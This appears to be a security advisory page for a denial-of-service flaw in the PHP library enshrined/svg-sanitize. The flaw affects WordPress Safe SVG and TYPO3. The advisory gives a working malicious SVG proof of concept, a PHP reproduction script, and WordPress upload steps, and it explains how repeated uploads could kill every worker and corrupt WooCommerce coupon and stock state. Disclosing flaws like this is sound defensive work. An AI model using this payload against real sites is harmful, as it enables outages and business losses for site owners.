GHSA-V383-3RW5-Q8RF

Vulnerability from github – Published: 2026-10-08 19:41 – Updated: 2026-10-08 19:41
VLAI
Summary
enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash
Details

Summary

A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.

Affected installations: - enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents - WordPress Safe SVG plugin: 1M+ active installs - TYPO3: svg-sanitize integrated into core since v9 - Drupal: community module wrapping svg-sanitize

Vulnerability Details

Trigger Flow

Sanitizer::sanitize($malicious_svg)
  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
  → startClean() → cleanAttributesOnWhitelist($svgElement)
    → "badhref" NOT in allowedAttrs
    → removeAttribute("badhref")          ← removes explicit attribute (safe)
    → stripos("badhref", "href") = TRUE
    → getAttribute("badhref")             ← returns DTD #FIXED default value
    → isHrefSafeValue("javascript:x")    ← returns FALSE
    → removeAttribute("badhref")          ← hits XML_ATTRIBUTE_DECL → CRASH

Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.

Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.

WordPress Code Path

User uploads SVG → WordPress wp_handle_upload()
  → filter 'wp_handle_upload_prefilter'
  → SafeSvg\safe_svg::check_for_svg()        [safe-svg.php:176]
  → SafeSvg\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]
  → enshrined\Sanitizer::sanitize($contents)   [Sanitizer.php:193]
  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH
  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502

Proof of Concept

Malicious SVG (evil.svg)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
  <rect width="100" height="100" fill="red"/>
</svg>

Standalone reproduction

<?php
require_once 'vendor/autoload.php';

$svg = file_get_contents('evil.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes\n";
// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134

WordPress reproduction

  1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
  2. Login as Author → Media → Add New → upload evil.svg
  3. Result: HTTP 502 Bad Gateway, PHP-FPM worker killed

Confirmed output

$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134

PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)

Impact

Full Site Denial of Service

With pm.max_children = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.

Application State Corruption

SIGABRT bypasses register_shutdown_function(). On WordPress + WooCommerce: - Coupon bypass: usage_count increment skipped → unlimited reuse of single-use coupons - Stock oversell: stock reduction not committed → multiple orders for 1-stock items - Cron starvation: wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely

Attack surface

Safe SVG hooks wp_handle_upload_prefilter (safe-svg.php line 152). The hook fires when code calls wp_handle_upload() or wp_handle_sideload().

Note: Popular form plugins (Contact Form 7, WPForms) use move_uploaded_file() directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls wp_handle_upload() is affected.

Scenario Authentication Affected installs
WordPress (default Safe SVG) — Media upload Author role (upload_files cap) 1M+
WordPress — REST API POST /wp/v2/media Author role 1M+
WordPress — plugins using wp_handle_upload() for public uploads Varies by plugin Plugin-dependent
Custom PHP app with svg-sanitize on public endpoint Often none 45M+ downloads
TYPO3 (svg-sanitize in core since v9) Backend editor All TYPO3 v9+

The strongest pre-auth scenario is custom PHP applications using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.

CVSS

CVSS 3.1: 6.5 (Medium) — default WordPress (Author role)

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

For custom apps with unauthenticated svg-sanitize endpoints: CVSS 7.5 (High) (PR:N)

Suggested Fix

Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:

// In Sanitizer::sanitize(), before loadXML():
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);

Environment

  • enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)
  • WordPress 6.9.4 + Safe SVG 2.4.0
  • PHP 8.3.24 (fpm), NTS, x86_64
  • nginx + PHP-FPM (Docker)

Reported by ExPatch Security Research — expatch.llc Denis Rostilov

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "enshrined/svg-sanitize"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:41:05Z",
    "nvd_published_at": "2026-10-08T18:17:23Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer\u0027s `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name \u2014 first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default \u2014 triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs\n- **TYPO3:** svg-sanitize integrated into core since v9\n- **Drupal:** community module wrapping svg-sanitize\n\n## Vulnerability Details\n\n### Trigger Flow\n\n```\nSanitizer::sanitize($malicious_svg)\n  \u2192 DOMDocument::loadXML() \u2014 parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr\n  \u2192 startClean() \u2192 cleanAttributesOnWhitelist($svgElement)\n    \u2192 \"badhref\" NOT in allowedAttrs\n    \u2192 removeAttribute(\"badhref\")          \u2190 removes explicit attribute (safe)\n    \u2192 stripos(\"badhref\", \"href\") = TRUE\n    \u2192 getAttribute(\"badhref\")             \u2190 returns DTD #FIXED default value\n    \u2192 isHrefSafeValue(\"javascript:x\")    \u2190 returns FALSE\n    \u2192 removeAttribute(\"badhref\")          \u2190 hits XML_ATTRIBUTE_DECL \u2192 CRASH\n```\n\n**Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash.\n\n**Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` \u2192 `href` calls `removeAttribute()` then `setAttribute()` on the DTD default.\n\n### WordPress Code Path\n\n```\nUser uploads SVG \u2192 WordPress wp_handle_upload()\n  \u2192 filter \u0027wp_handle_upload_prefilter\u0027\n  \u2192 SafeSvg\\safe_svg::check_for_svg()        [safe-svg.php:176]\n  \u2192 SafeSvg\\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]\n  \u2192 enshrined\\Sanitizer::sanitize($contents)   [Sanitizer.php:193]\n  \u2192 cleanAttributesOnWhitelist() \u2192 double removeAttribute \u2192 CRASH\n  \u2192 PHP-FPM worker killed (SIGABRT) \u2192 nginx returns HTTP 502\n```\n\n## Proof of Concept\n\n### Malicious SVG (evil.svg)\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE svg [\n  \u003c!ATTLIST svg badhref CDATA #FIXED \"javascript:alert(1)\"\u003e\n]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" badhref=\"javascript:alert(1)\" viewBox=\"0 0 100 100\"\u003e\n  \u003crect width=\"100\" height=\"100\" fill=\"red\"/\u003e\n\u003c/svg\u003e\n```\n\n### Standalone reproduction\n\n```php\n\u003c?php\nrequire_once \u0027vendor/autoload.php\u0027;\n\n$svg = file_get_contents(\u0027evil.svg\u0027);\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer-\u003esanitize($svg);\necho \"Sanitized: \" . strlen($clean) . \" bytes\\n\";\n// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134\n```\n\n### WordPress reproduction\n\n1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)\n2. Login as Author \u2192 Media \u2192 Add New \u2192 upload `evil.svg`\n3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed\n\n### Confirmed output\n\n```\n$ docker exec wordpress php /tmp/test.php\nSanitized: 157 bytes\nmunmap_chunk(): invalid pointer\n$ echo $?\n134\n\nPHP-FPM log:\n[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)\n```\n\n## Impact\n\n### Full Site Denial of Service\n\nWith `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.\n\n### Application State Corruption\n\nSIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce:\n- **Coupon bypass:** usage_count increment skipped \u2192 unlimited reuse of single-use coupons\n- **Stock oversell:** stock reduction not committed \u2192 multiple orders for 1-stock items\n- **Cron starvation:** wp_cron blocked \u2192 scheduled cleanup (unpaid order cancellation) never runs \u2192 stock held indefinitely\n\n### Attack surface\n\nSafe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`.\n\n**Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress\u0027s upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected.\n\n| Scenario | Authentication | Affected installs |\n|---|---|---|\n| WordPress (default Safe SVG) \u2014 Media upload | Author role (`upload_files` cap) | 1M+ |\n| WordPress \u2014 REST API `POST /wp/v2/media` | Author role | 1M+ |\n| WordPress \u2014 plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent |\n| Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads |\n| TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |\n\nThe strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints \u2014 a common pattern given 45M+ Packagist downloads and 90+ dependent packages.\n\n## CVSS\n\n**CVSS 3.1: 6.5 (Medium)** \u2014 default WordPress (Author role)\n\n`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`\n\nFor custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N)\n\n## Suggested Fix\n\nStrip DOCTYPE before parsing \u2014 eliminates the trigger regardless of PHP version:\n\n```php\n// In Sanitizer::sanitize(), before loadXML():\n$dirty = preg_replace(\u0027/\u003c!DOCTYPE[^\u003e]*(?:\\[.*?\\])?\\s*\u003e/si\u0027, \u0027\u0027, $dirty);\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)\n- WordPress 6.9.4 + Safe SVG 2.4.0\n- PHP 8.3.24 (fpm), NTS, x86_64\n- nginx + PHP-FPM (Docker)\n\n**Reported by ExPatch Security Research \u2014 [expatch.llc](https://expatch.llc/)\nDenis Rostilov**",
  "id": "GHSA-v383-3rw5-q8rf",
  "modified": "2026-10-08T19:41:05Z",
  "published": "2026-10-08T19:41:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-v383-3rw5-q8rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/darylldoyle/svg-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…